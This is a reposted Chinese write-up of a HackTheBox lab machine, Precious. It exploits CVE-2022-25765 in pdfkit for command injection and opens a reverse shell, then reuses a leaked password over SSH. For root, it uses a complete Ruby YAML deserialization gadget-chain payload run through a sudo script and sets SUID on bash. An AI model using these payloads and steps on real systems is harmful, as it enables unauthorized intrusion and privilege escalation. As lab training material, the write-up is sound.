0


HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权

在这里插入图片描述

靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.189

在这里插入图片描述

发现域名,我们本地DNS解析一下

echo "10.10.11.189 precious.htb" >> /etc/hosts

然后访问网站

CVE-2022-25765利用

在这里插入图片描述

他的功能是将网站页面转换成PDF文件,我们本地用python开启一个http服务

python3 -m http.server 80

返回网站,然后输入

在这里插入图片描述

在这里插入图片描述

他将我目录下的文件转换为PDF了,我们保存一下这个pdf文件
在这里插入图片描述

在这里插入图片描述

exiftool 4pukysg1oivmrhiow532m9v4olsfv3p2.pdf

通过分析这个PDF文件,发现他使用的是pdfkit v0.8.6

在这里插入图片描述

通过google搜索,发现这个版本存在CVE-2022-25765漏洞

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

在这里插入图片描述

在这里插入图片描述

我们可以远程执行代码,poc为

http//ip?name=%20`command`

我们返回网站执行试试

在这里插入图片描述
在这里插入图片描述

成功执行了我们的命令,现在我们直接反弹shell即可

首先先用nc监听一个端口

在这里插入图片描述

https://www.revshells.com/

在这里插入图片描述

选择python3,修改ip和端口,回到靶机网页,然后粘贴这个命令即可

在这里插入图片描述

在这里插入图片描述

在home目录里找了一下,发现ruby用户目录下有一个奇怪的文件夹

在这里插入图片描述

在这里插入图片描述

config文件里存放着henry用户的密码,我们ssh登录即可

ssh [email protected]

在这里插入图片描述

YAML反序列化攻击提权

在输入sudo -l时,发现有一个文件可以以sudo命令执行

在这里插入图片描述

在这里插入图片描述

# Compare installed dependencies with those specified in "dependencies.yml"                                                                                                                                                                                                                                                
require "yaml"                                                                                                                                                                                                                                                                                                             
require 'rubygems'                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                           
# TODO: update versions automatically                                                                                                                                                                                                                                                                                      
def update_gems()                                                                                                                                                                                                                                                                                                          
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_from_file                                                                                                                                                                                                                                                                                                         
    YAML.load(File.read("dependencies.yml"))                                                                                                                                                                                                                                                                               
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_local_gems                                                                                                                                                                                                                                                                                                        
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}                                                                                                                                                                                                                       
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
gems_file = list_from_file                                                                                                                                                                                                                                                                                                 
gems_local = list_local_gems                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                                                                                                           
gems_file.each do |file_name, file_version|                                                                                                                                                                                                                                                                                
    gems_local.each do |local_name, local_version|                                                                                                                                                                                                                                                                         
        if(file_name == local_name)                                                                                                                                                                                                                                                                                        
            if(file_version != local_version)                                                                                                                                                                                                                                                                              
                puts "Installed version differs from the one specified in file: " + local_name                                                                                                                                                                                                                             
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

通过google发现,yaml有一个反序列化的漏洞

在这里插入图片描述

payload为

https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

在这里插入图片描述

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

在这里插入图片描述

这里读取的是一个名叫dependencies.yml的文件,所以我们要把payload的文件名改成这个

在这里插入图片描述

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功执行了id命令,接下来赋予/bin/bash suid权限即可提权

在这里插入图片描述

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功赋予suid权限

/bin/bash -p

在这里插入图片描述

成功获得root权限

在这里插入图片描述


本文转载自: https://blog.csdn.net/qq_45894840/article/details/128285592
版权归原作者 Ba1_Ma0 所有, 如有侵权,请联系我们删除。

“HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权”的评论:

还没有评论